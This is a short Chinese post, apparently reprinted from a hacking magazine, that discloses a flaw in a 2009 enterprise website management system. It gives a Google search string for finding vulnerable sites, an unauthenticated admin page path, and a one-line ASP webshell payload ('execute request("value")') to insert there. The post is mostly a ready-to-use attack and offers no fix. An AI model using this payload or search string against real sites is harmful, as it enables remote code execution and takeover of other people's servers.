魅力企业网站管理系统 2009 SP3 中英繁漏洞

作者:幻泉[B.S.N]
来源:黑客防线

源码下载http://down.chinaz.com/soft/19655.htm
官方网站http://www.melyysoft.com/
漏洞等级:高
Google搜索:"0351-6061896"

漏洞说明:
防注入系统未设置登陆导致可以访问插入一句话

插入地址:/SqlIn/sqlIn_admin.asp
插入代码:":execute request("value"):a="

Leave a comment

Your comment

Why not Login? Sign up now! »